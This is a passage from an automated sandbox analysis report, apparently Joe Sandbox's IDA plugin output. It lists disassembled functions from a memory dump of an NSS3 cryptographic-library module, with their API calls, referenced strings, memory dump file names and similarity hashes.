Part of subcall function 6CED10C0: PR_Unlock.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1182
Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6CEE4DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CEE4E59

Part of subcall function 6CECFAB0: free.MOZGLUE(?,-00000001,?,?,6CE6F673,00000000,00000000), ref: 6CECFAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CFA300C,00000000), ref: 6CEE4EB8
SECOID_FindOID_Util.NSS3(?), ref: 6CEE4EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6CEE4F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CEE521A

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: d8ffc01e158dcd01871e619a38886f0d2141fcccc7890229942c054bf3be98b6
Instruction ID: 0bed234548fff2f505f0d20351ccb8b4d67f7db772611feac8817b58d25eaf7d
Opcode Fuzzy Hash: d8ffc01e158dcd01871e619a38886f0d2141fcccc7890229942c054bf3be98b6
Instruction Fuzzy Hash: 52F17C71E01209CBDB04CF94D8407AEB7B2BF49398F35416AE915AB781E775E982CB90

Function 6CE74FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6CFC0148,?,6CE86FEC), ref: 6CE7502A
PR_NewLock.NSS3(00000001,00000000,6CFC0148,?,6CE86FEC), ref: 6CE75034
PL_NewHashTable.NSS3(00000000,6CECFE80,6CECFD30,6CF1C350,00000000,00000000,00000001,00000000,6CFC0148,?,6CE86FEC), ref: 6CE75055
PL_NewHashTable.NSS3(00000000,6CECFE80,6CECFD30,6CF1C350,00000000,00000000,?,00000001,00000000,6CFC0148,?,6CE86FEC), ref: 6CE7506D

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 8c457c8c64c6f818e0137373bbbf203839c41f3ba605ab958ef08ed755cfe601
Instruction ID: 21b93d9b544d24f6ef6610d6b8d55d2157a39e286ca1889fc3e2a79651e136ee
Opcode Fuzzy Hash: 8c457c8c64c6f818e0137373bbbf203839c41f3ba605ab958ef08ed755cfe601
Instruction Fuzzy Hash: 8531F4B2F126209BEB609B758E0CB5737B8AB1330CF268124EA1583740D776AD05DBF1

Function 6CE12E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE12F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6CE12FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6CE13005
memcpy.VCRUNTIME140(?,?,?), ref: 6CE130EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE13131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE13178

Strings

%s at line %d of [%.10s], xrefs: 6CE13171
database corruption, xrefs: 6CE1316C
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE13022, 6CE13156, 6CE13162, 6CE1318A, 6CE13196, 6CE131A2, 6CE131AE, 6CE131BA, 6CE131C6

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: 727d4e7dac86c45ba0685f0997acbfbec041bbd92f44f5b9a998b0e5323bf0cb
Instruction ID: fcc1cc25db2bf2703447d159a67e96e2cfaf6a021003d0ee6b442b53bb801595
Opcode Fuzzy Hash: 727d4e7dac86c45ba0685f0997acbfbec041bbd92f44f5b9a998b0e5323bf0cb
Instruction Fuzzy Hash: 50B1C2B1E092199FCF08CF9DC885AEEB7B1BF49314F244029E815B7B41D375A952CBA0

Function 6CEE7F90 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

PR_GetMonitorEntryCount.NSS3(?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6CEE7FB2

Part of subcall function 6CE6BA40: TlsGetValue.KERNEL32 ref: 6CE6BA51
Part of subcall function 6CE6BA40: TlsGetValue.KERNEL32 ref: 6CE6BA6B
Part of subcall function 6CE6BA40: EnterCriticalSection.KERNEL32 ref: 6CE6BA83
Part of subcall function 6CE6BA40: TlsGetValue.KERNEL32 ref: 6CE6BAA1
Part of subcall function 6CE6BA40: _PR_MD_UNLOCK.NSS3 ref: 6CE6BAC0

PR_EnterMonitor.NSS3(?,?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6CEE7FD4

Part of subcall function 6CF39090: TlsGetValue.KERNEL32 ref: 6CF390AB
Part of subcall function 6CF39090: TlsGetValue.KERNEL32 ref: 6CF390C9
Part of subcall function 6CF39090: EnterCriticalSection.KERNEL32 ref: 6CF390E5
Part of subcall function 6CF39090: TlsGetValue.KERNEL32 ref: 6CF39116
Part of subcall function 6CF39090: LeaveCriticalSection.KERNEL32 ref: 6CF3913F

Part of subcall function 6CEE9430: PR_SetError.NSS3(FFFFD0AC,00000000), ref: 6CEE9466

PR_ExitMonitor.NSS3(?), ref: 6CEE801B
PR_EnterMonitor.NSS3(?), ref: 6CEE8034
TlsGetValue.KERNEL32 ref: 6CEE80A2
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CEE80C0
PR_ExitMonitor.NSS3(?), ref: 6CEE811C
PR_ExitMonitor.NSS3(?), ref: 6CEE8134

Strings

), xrefs: 6CEE80DB

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSection$Error$CountEntryLeave
String ID: )
API String ID: 3537756449-2427484129
Opcode ID: e7e3b99d268618b73abd4010d10b91cdd52a5ea54a4a75e5272cdfa83b5a0171
Instruction ID: 495827e5dfd363027c274bd4650713a114a7ad40d5f7999ec078900e781df453
Opcode Fuzzy Hash: e7e3b99d268618b73abd4010d10b91cdd52a5ea54a4a75e5272cdfa83b5a0171
Instruction Fuzzy Hash: 94512672A047049BF7319F38DC017EB77B0AF5A38CF28452DD95956B42EB31A609C792

Function 6CE8FCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6CE8FCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6CE8FCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6CE8FCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE8FD32
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6CE8FD46
PORT_Alloc_Util.NSS3(00000001), ref: 6CE8FD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6CE8FD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE8FD84

Strings

:, xrefs: 6CE8FD78

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: 70295bf8f392c05430afa5572a9ee15286221cd1580a6a7528aa14956ef3e920
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: 2431C2B6E022159BEB008AA4DC057AF77B8EF4531CF350128DD18A7B40E779EA09C7D2

Function 6CEA6C40 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6CEA6C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEA6C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEA6CA3

Part of subcall function 6CF8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEA6CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CEA6CD5

Strings

hSession = 0x%x, xrefs: 6CEA6C7E, 6CEA6C8E
pMechanism = 0x%p, xrefs: 6CEA6CD0
(CK_INVALID_HANDLE), xrefs: 6CEA6C9C
C_DigestInit, xrefs: 6CEA6C61

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit
API String ID: 1003633598-3690128261
Opcode ID: feed0301a256e0ce9b59f230bfefd68e68e597f4613ee43c34367a90b52c86da
Instruction ID: 457c892c494fed0515303c3099edab86f2dc0ac8a8b06f28ed0b6a8cb648826d
Opcode Fuzzy Hash: feed0301a256e0ce9b59f230bfefd68e68e597f4613ee43c34367a90b52c86da
Instruction Fuzzy Hash: C2210930A11154BFDB409FA89D4DF5A77B9EB4731CF554029E8099BB01DB31AD0AC7D1

Function 6CEA9DD0 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 85COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SessionCancel), ref: 6CEA9DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEA9E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEA9E33

Part of subcall function 6CF8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEA9E49
PR_LogPrint.NSS3( flags = 0x%x,?), ref: 6CEA9E65

Strings

hSession = 0x%x, xrefs: 6CEA9E0E, 6CEA9E1E
flags = 0x%x, xrefs: 6CEA9E60
C_SessionCancel, xrefs: 6CEA9DF1
(CK_INVALID_HANDLE), xrefs: 6CEA9E2C

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: flags = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_SessionCancel
API String ID: 1003633598-1678415578
Opcode ID: 4acabf8156833f31d7b86441ff2cf170ff9e07e088c7d60c0cad820157a89bae
Instruction ID: de57a9b1bdbe8a50938e490e74fef6e7d4d976112a7d5e9da88477b0addca763
Opcode Fuzzy Hash: 4acabf8156833f31d7b86441ff2cf170ff9e07e088c7d60c0cad820157a89bae
Instruction Fuzzy Hash: 83212C71A12114AFDB409BA4DD88F5A77F4EB4630DF548425E8099BB02DB32AC4AC7D2

Function 6CE70F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CE70F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CE70F84

Part of subcall function 6CECB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CFA18D0,?), ref: 6CECB095

SEC_QuickDERDecodeItem_Util.NSS3(?,6CE8F59B,6CF9890C,?), ref: 6CE70FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6CE70FC1

Part of subcall function 6CED0BE0: malloc.MOZGLUE(6CEC8D2D,?,00000000,?), ref: 6CED0BF8
Part of subcall function 6CED0BE0: TlsGetValue.KERNEL32(6CEC8D2D,?,00000000,?), ref: 6CED0C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6CE70FDB
PR_CallOnce.NSS3(6CFD2AA4,6CED12D0), ref: 6CE70FEF
PL_FreeArenaPool.NSS3(?), ref: 6CE71001
PL_FinishArenaPool.NSS3(?), ref: 6CE71009

Strings

security, xrefs: 6CE70F5C

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: b1ec25eb3a85dad3357ee7e808b00cc6dcb10b5d729415233ddb7d64b0d2882b
Instruction ID: 472e80fa60337e59a3902fba61f5ded74225f79527b1edb3e1dc3cb17b0295da
Opcode Fuzzy Hash: b1ec25eb3a85dad3357ee7e808b00cc6dcb10b5d729415233ddb7d64b0d2882b
Instruction Fuzzy Hash: AC21F2B1904344ABE7109F24DC41AAEB7B8EF4465CF258519FC189A701F732E906CBE2

Function 6CE76DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6CE77D8F,6CE77D8F,?,?), ref: 6CE76DC8

Part of subcall function 6CECFDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CECFE08
Part of subcall function 6CECFDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CECFE1D
Part of subcall function 6CECFDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CECFE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6CE77D8F,?,?), ref: 6CE76DD5

Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED10F3
Part of subcall function 6CED10C0: EnterCriticalSection.KERNEL32(?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED110C
Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1141
Part of subcall function 6CED10C0: PR_Unlock.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1182
Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CF98FA0,00000000,?,?,?,?,6CE77D8F,?,?), ref: 6CE76DF7

Part of subcall function 6CECB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CFA18D0,?), ref: 6CECB095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CE76E35

Part of subcall function 6CECFDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CECFE29
Part of subcall function 6CECFDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CECFE3D
Part of subcall function 6CECFDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6CECFE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CE76E4C

Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CF98FE0,00000000), ref: 6CE76E82

Part of subcall function 6CE76AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6CE7B21D,00000000,00000000,6CE7B219,?,6CE76BFB,00000000,?,00000000,00000000,?,?,?,6CE7B21D), ref: 6CE76B01
Part of subcall function 6CE76AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6CE76B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CE76F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CE76F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CF98FE0,00000000), ref: 6CE76F6B
PR_SetError.NSS3(FFFFE005,00000000,6CE77D8F,?,?), ref: 6CE76FE1

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 72a2ac55da39822bbfc229bea140d00cfd16bb73372324ddd4ce8808fbd29e94
Instruction ID: e5a7cdf835c8bad5d1bb76acd6013180f99a82596cbfc572c6c7b1064162c2dd
Opcode Fuzzy Hash: 72a2ac55da39822bbfc229bea140d00cfd16bb73372324ddd4ce8808fbd29e94
Instruction Fuzzy Hash: 73719E71E106469BEB14CF55CD41AAA7BB8FF9430CF254229E818D7B11E730EA94CBA0

Function 6CEB0FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CEB1057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEB1085
PK11_GetAllTokens.NSS3 ref: 6CEB10B1
free.MOZGLUE(?), ref: 6CEB1107
PR_SetError.NSS3(00000000,00000000), ref: 6CEB1172
free.MOZGLUE(?), ref: 6CEB1182
free.MOZGLUE(?), ref: 6CEB11A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6CEB11C5

Part of subcall function 6CEB52C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6CE8EAC5,00000001), ref: 6CEB52DF
Part of subcall function 6CEB52C0: EnterCriticalSection.KERNEL32(?), ref: 6CEB52F3
Part of subcall function 6CEB52C0: PR_Unlock.NSS3(?), ref: 6CEB5358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CEB11D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CEB11F3

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: a8ddfce76be37d7344be612f9e644c07b4f2f7c89eed1252a4f5802061767cc2
Instruction ID: 5bf5357a5eabda7ebd60d8e98de1e80494fbd1afb90a54b1e73877a97b36c063
Opcode Fuzzy Hash: a8ddfce76be37d7344be612f9e644c07b4f2f7c89eed1252a4f5802061767cc2
Instruction Fuzzy Hash: 4C61B2B1E013459FEB00DFA4D981BAEB7B4AF04358F244128ED19BB741EB71E945CBA1

Function 6CEBADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6CE9CDBB,?,6CE9D079,00000000,00000001), ref: 6CEBAE10
EnterCriticalSection.KERNEL32(?,?,6CE9CDBB,?,6CE9D079,00000000,00000001), ref: 6CEBAE24
PR_Unlock.NSS3(?,?,?,?,?,?,6CE9D079,00000000,00000001), ref: 6CEBAE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CE9CDBB,?,6CE9D079,00000000,00000001), ref: 6CEBAE6F
free.MOZGLUE(85145F8B,?,?,?,?,6CE9CDBB,?,6CE9D079,00000000,00000001), ref: 6CEBAE7F
TlsGetValue.KERNEL32(?,6CE9CDBB,?,6CE9D079,00000000,00000001), ref: 6CEBAEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CE9CDBB,?,6CE9D079,00000000,00000001), ref: 6CEBAEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CE9CDBB,?,6CE9D079,00000000,00000001), ref: 6CEBAEF1
free.MOZGLUE(6CE9CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE9CDBB,?), ref: 6CEBAF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CE9CDBB,?,6CE9D079,00000000,00000001), ref: 6CEBAF30

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 6374bf33b8dc75e88294aa0e34a1b0fef56a7aca13d44624b582e72c0a9a0a7e
Instruction ID: 7d97253dac0529d2e9a465e4ad2b5741d3b5087e27ac1fb110522250cf250ebe
Opcode Fuzzy Hash: 6374bf33b8dc75e88294aa0e34a1b0fef56a7aca13d44624b582e72c0a9a0a7e
Instruction Fuzzy Hash: E7519CB5A40602AFDF41DF29D985B66B7B4BF05318F244268E808A7F11E731F9A4CBD1

Function 6CE94CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6CE9AB7F,?,00000000,?), ref: 6CE94CB4
